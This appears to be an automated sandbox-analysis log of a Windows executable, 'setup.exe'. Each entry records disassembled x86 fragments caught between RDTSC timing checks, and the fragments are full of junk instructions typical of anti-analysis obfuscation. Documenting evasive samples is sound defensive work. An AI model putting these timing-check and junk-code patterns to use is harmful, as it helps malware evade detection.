Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39BAC1 second address: 39BADE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F79h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39EE93 second address: 39EF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDDE8CE13D6h 0x0000000a popad 0x0000000b nop 0x0000000c push edi 0x0000000d jo 00007FDDE8CE13D7h 0x00000013 cld 0x00000014 pop edi 0x00000015 mov bl, ah 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FDDE8CE13D8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 xor dword ptr [ebp+122D20A0h], eax 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push esi 0x0000003e call 00007FDDE8CE13D8h 0x00000043 pop esi 0x00000044 mov dword ptr [esp+04h], esi 0x00000048 add dword ptr [esp+04h], 00000018h 0x00000050 inc esi 0x00000051 push esi 0x00000052 ret 0x00000053 pop esi 0x00000054 ret 0x00000055 or edi, 57FDAF37h 0x0000005b jmp 00007FDDE8CE13DBh 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jng 00007FDDE8CE13D6h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39EF11 second address: 39EF15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39EF15 second address: 39EF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39EF1B second address: 39EF25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDDE9067F66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39EF25 second address: 39EF4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jp 00007FDDE8CE13DCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A0F9B second address: 3A0F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A1E27 second address: 3A1E2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39F08A second address: 39F091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A1E2B second address: 3A1E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A1ED6 second address: 3A1EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDDE9067F79h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A10BE second address: 3A111C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FDDE8CE13D8h 0x0000000c popad 0x0000000d nop 0x0000000e push edi 0x0000000f movsx ebx, dx 0x00000012 pop edi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a add edi, 1AF78C44h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 mov edi, dword ptr [ebp+122D385Eh] 0x0000002d mov eax, dword ptr [ebp+122D127Dh] 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007FDDE8CE13D8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d cmc 0x0000004e push FFFFFFFFh 0x00000050 push eax 0x00000051 pushad 0x00000052 pushad 0x00000053 push eax 0x00000054 pop eax 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A111C second address: 3A1124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A2E68 second address: 3A2E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A2F0B second address: 3A2F0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A312C second address: 3A3138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3A4DEB second address: 3A4DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD025 second address: 3AD029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD029 second address: 3AD075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F77h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FDDE9067F8Bh 0x00000011 jmp 00007FDDE9067F79h 0x00000016 jmp 00007FDDE9067F6Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD075 second address: 3AD07B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD07B second address: 3AD085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD085 second address: 3AD089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD089 second address: 3AD0A5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FDDE9067F66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c push ecx 0x0000000d jmp 00007FDDE9067F6Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3AD3A0 second address: 3AD3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B383A second address: 3B3841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B3841 second address: 3B3883 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDDE8CE13DCh 0x00000008 ja 00007FDDE8CE13D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 je 00007FDDE8CE13DEh 0x00000017 push esi 0x00000018 jbe 00007FDDE8CE13D6h 0x0000001e pop esi 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 ja 00007FDDE8CE13DEh 0x00000029 mov eax, dword ptr [eax] 0x0000002b push eax 0x0000002c push ebx 0x0000002d pushad 0x0000002e popad 0x0000002f pop ebx 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B3883 second address: 3B3887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B864B second address: 3B866F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FDDE8CE13E0h 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007FDDE8CE13DAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B8059 second address: 3B806A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B806A second address: 3B8074 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDDE8CE13E2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B8074 second address: 3B807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B81F0 second address: 3B81F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B835C second address: 3B8378 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDDE9067F66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDDE9067F72h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B8378 second address: 3B8383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDDE8CE13D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B84B8 second address: 3B84F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDDE9067F73h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f jo 00007FDDE9067F66h 0x00000015 jl 00007FDDE9067F66h 0x0000001b pop esi 0x0000001c jo 00007FDDE9067F68h 0x00000022 pushad 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B84F0 second address: 3B84F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3B84F4 second address: 3B84F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3BC758 second address: 3BC75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3BC75C second address: 3BC78E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F75h 0x00000007 jmp 00007FDDE9067F74h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3BC78E second address: 3BC7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDE8CE13DFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C1E38 second address: 3C1E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C1E3C second address: 3C1E42 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C1E42 second address: 3C1E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C10E8 second address: 3C10F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FDDE8CE13D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C1B7A second address: 3C1B89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C1B89 second address: 3C1BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDDE8CE13D6h 0x0000000a popad 0x0000000b jmp 00007FDDE8CE13E8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FDDE8CE13D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3903EA second address: 1DCBEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+12460CADh], edi 0x00000013 mov ecx, dword ptr [ebp+122D3792h] 0x00000019 push dword ptr [ebp+122D15E5h] 0x0000001f pushad 0x00000020 jns 00007FDDE9067F69h 0x00000026 mov edi, 6CD44FDFh 0x0000002b popad 0x0000002c call dword ptr [ebp+122D2AEBh] 0x00000032 pushad 0x00000033 jmp 00007FDDE9067F75h 0x00000038 xor eax, eax 0x0000003a cld 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f pushad 0x00000040 pushad 0x00000041 push ecx 0x00000042 pop esi 0x00000043 push ecx 0x00000044 pop eax 0x00000045 popad 0x00000046 jmp 00007FDDE9067F76h 0x0000004b popad 0x0000004c mov dword ptr [ebp+122D3A7Eh], eax 0x00000052 jmp 00007FDDE9067F79h 0x00000057 mov esi, 0000003Ch 0x0000005c pushad 0x0000005d jmp 00007FDDE9067F72h 0x00000062 mov dword ptr [ebp+122D275Bh], edi 0x00000068 popad 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d mov dword ptr [ebp+122D1996h], eax 0x00000073 lodsw 0x00000075 mov dword ptr [ebp+122D275Bh], edx 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f jmp 00007FDDE9067F75h 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 xor dword ptr [ebp+122D275Bh], ecx 0x0000008e push eax 0x0000008f push ebx 0x00000090 push edx 0x00000091 push eax 0x00000092 push edx 0x00000093 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390636 second address: 39063A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39063A second address: 390647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390647 second address: 39064C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 39064C second address: 390694 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDDE9067F76h 0x00000008 jmp 00007FDDE9067F70h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push esi 0x00000014 jmp 00007FDDE9067F78h 0x00000019 pop esi 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FDDE9067F6Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390694 second address: 39069A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3907F8 second address: 39080E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], esi 0x00000009 mov di, dx 0x0000000c nop 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FDDE9067F66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390A84 second address: 390A9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390F06 second address: 390F10 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDDE9067F66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 390F10 second address: 390F17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C5804 second address: 3C5835 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FDDE9067F74h 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C5835 second address: 3C5841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FDDE8CE13D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C598E second address: 3C5992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C5B1F second address: 3C5B28 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C5C9B second address: 3C5CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F77h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C5E28 second address: 3C5E3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3C5E3C second address: 3C5E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CFC78 second address: 3CFC7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CFC7C second address: 3CFC88 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CFC88 second address: 3CFC8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CFC8C second address: 3CFC92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE693 second address: 3CE697 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE697 second address: 3CE69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE69F second address: 3CE6B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE6B8 second address: 3CE6D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDDE9067F71h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE82F second address: 3CE849 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDE8CE13DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FDDE8CE1404h 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE99E second address: 3CE9A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDDE9067F66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE9A8 second address: 3CE9EB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDE8CE13D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007FDDE8CE13D6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007FDDE8CE13E2h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d pushad 0x0000001e push edi 0x0000001f jmp 00007FDDE8CE13E5h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF0C4 second address: 3CF0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF0CA second address: 3CF0E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FDDE8CE13DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF392 second address: 3CF3A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FDDE9067F66h 0x00000009 jc 00007FDDE9067F66h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF3A6 second address: 3CF3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF3AA second address: 3CF3D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F78h 0x00000007 jmp 00007FDDE9067F6Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF3D7 second address: 3CF3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CF3DB second address: 3CF3DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CFAF8 second address: 3CFAFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CFAFE second address: 3CFB04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE3D4 second address: 3CE3DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE3DA second address: 3CE3E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3CE3E0 second address: 3CE3E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D2414 second address: 3D242F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE9067F75h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\setup.exe	RDTSC instruction interceptor: First address: 3D1FD4 second address: 3D1FF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDDE8CE13E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b jnc 00007FDDE8CE13D8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
